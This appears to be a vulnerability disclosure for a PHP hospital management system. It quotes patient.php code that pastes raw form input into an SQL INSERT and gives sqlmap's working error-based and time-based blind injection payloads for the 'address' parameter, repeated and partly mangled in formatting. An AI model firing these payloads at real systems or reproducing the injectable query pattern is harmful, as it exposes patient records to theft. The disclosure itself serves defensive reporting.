

# Hospital Management System patient.php has Sqlinjection

A SQL injection vulnerability exists in the Hospital Management System patient.php has Sqlinjection. The basic introduction of the vulnerability is that SQL injection means that the web application does not strictly judge or filter the validity of user input data. An attacker can add additional SQL statements to the end of a predefined query statement in a web application, and perform illegal operations without the knowledge of the administrator. In this way, the database server can be tricked into performing any unauthorized query and obtaining the corresponding data information.

```
doctoraccount.php
doctorchange-password.php
doctorlogin.php
doctorprofile.php
doctortimings.php
footer.php
footers.php
Forgotpassword.php
full-width.php
header.php
headers.php
index.php
index2.php
insertbillingrecord.php
logout.php
medicine.php
menu.php
orders.php
patient_profile.php
patient.php
patientaccount.php
patientappointment.php
patientchange-password.php
patientdetail.php
patientforgotpassword.php
patientlogin.php
patientorder.php
patientprofile.php

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

if($qsql = mysqli_query($con,$sql))
{
    echo "<script>alert('patient record updated successfully...');</script>";
}
else
{
    echo mysqli_error($con);
}
}
else
{
    $sql = "INSERT INTO patient(patientname,admissiondate,admissiontime,address,mobilenumber,city,pincode,loginid,password,billingid) VALUES('".$_POST['patientname']."','".$_POST['admissiondate']."','".$_POST['admissiontime']."','".$_POST['address']."','".$_POST['mobilenumber']."','".$_POST['city']."','".$_POST['pincode']."','".$_POST['loginid']."','".$_POST['password']."','".$_POST['billingid']."')";
    if($qsql = mysqli_query($con,$sql))
    {
        echo "<script>alert('patients record inserted successfully...');</script>";
        $insid= mysqli_insert_id($con);
        if(isset($_SESSION[adminid]))
        {
            echo "<script>>window.location='appointment.php?patid=$insid';</script>";
        }
        else
        {
            echo "<script>>window.location='patientlogin.php';</script>";
        }
    }
    else
    {
        echo mysqli_error($con);
    }
}
if(isset($_GET[editid]))
```

```
}
else
{
    echo mysqli_error($con);
}
}
else
{
    $sql = "INSERT INTO patient(patientname,admissiondate,admissiontime,address,mobilenumber,city,pincode,loginid,password,billingid) VALUES('".$_POST['patientname']."','".$_POST['admissiondate']."','".$_POST['admissiontime']."','".$_POST['address']."','".$_POST['mobilenumber']."','".$_POST['city']."','".$_POST['pincode']."','".$_POST['loginid']."','".$_POST['password']."','".$_POST['billingid']."')";
    if($qsql = mysqli_query($con,$sql))
    {
        echo "<script>alert('patients record inserted successfully...');</script>";
        $insid= mysqli_insert_id($con);
        if(isset($_SESSION[adminid]))
        {
            echo "<script>>window.location='appointment.php?patid=$insid';</script>";
        }
        else
        {
            echo "<script>>window.location='patientlogin.php';</script>";
        }
    }
}
else
```

```
loginid,password,bloodgroup,gender,dob,status) values('$ _POST[patientname]','$dt','$tim','$ _POST[address]','$ _POST[mobilenumb
```

```
sqlmap identified the following injection point(s) with a total of 1128 HTTP(s) requests:
```

```
Parameter: address (POST)
```

```
Type: error-based
```

```
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
```

```
Payload: address=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z'+(SELECT 0x6c4d4963 WHERE 9448=9448 AND GTID_SUBSET(CONCAT(0x7162787871,(SELECT (ELT(6142=6142,1))),0x71786a7a71,6142))+'&city=San Francisco&confirmpassword=g00dPa$$w0rD&dateofbirth=01/01/1967&loginid=HfjNULYZ&mobilenumber=987-65-4329&password=g00dPa$$w0rD&patientname=HfjNULYZ&pincode=94102&select2=A&select3=MALE&submit=Submit
```

```
Type: time-based blind
```

```
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
```

```
Payload: address=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z'+(SELECT 0x6c6b6d50 WHERE 2052=2052 AND 8535=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1))+'&city=San Francisco&confirmpassword=g00dPa$$w0rD&dateofbirth=01/01/1967&loginid=HfjNULYZ&mobilenumber=987-65-4329&password=g00dPa$$w0rD&patientname=HfjNULYZ&pincode=94102&select2=A&select3=MALE&submit=Submit
```

## Sqlmap Attack

```
---
```

```
Parameter: address (POST)
```

```
Type: error-based
```

```
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
```

```
Payload: address=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z'+(SELECT 0x6c4d4963 WHERE 9448=9448 AND GTID_SUBSET(CONCAT(0x7162787871,(SELECT (ELT(6142=6142,1))),0x71786a7a71,6142))+'&city=San Francisco&confirmpassword=g00dPa$$w0rD&dateofbirth=01/01/1967&loginid=HfjNULYZ&mobilenumber=987-65-4329&password=g00dPa$$w0rD&patientname=HfjNULYZ&pincode=94102&select2=A&select3=MALE&submit=Submit
```

```
Type: time-based blind
```

```
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
```

```
Payload: address=0'XOR(if(now()=sysdate(),sleep(4),0))XOR'Z'+(SELECT 0x6c6b6d50 WHERE 2052=2052 AND 8535=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1))+'&city=San Francisco&confirmpassword=g00dPa$$w0rD&dateofbirth=01/01/1967&loginid=HfjNULYZ&mobilenumb
```

er=987-65-

4329&password=g00dPa\$\$w0rD&patientname=HfjNulYZ&pincode=94102&select2=A+&select3=MALE&submit=Submit

---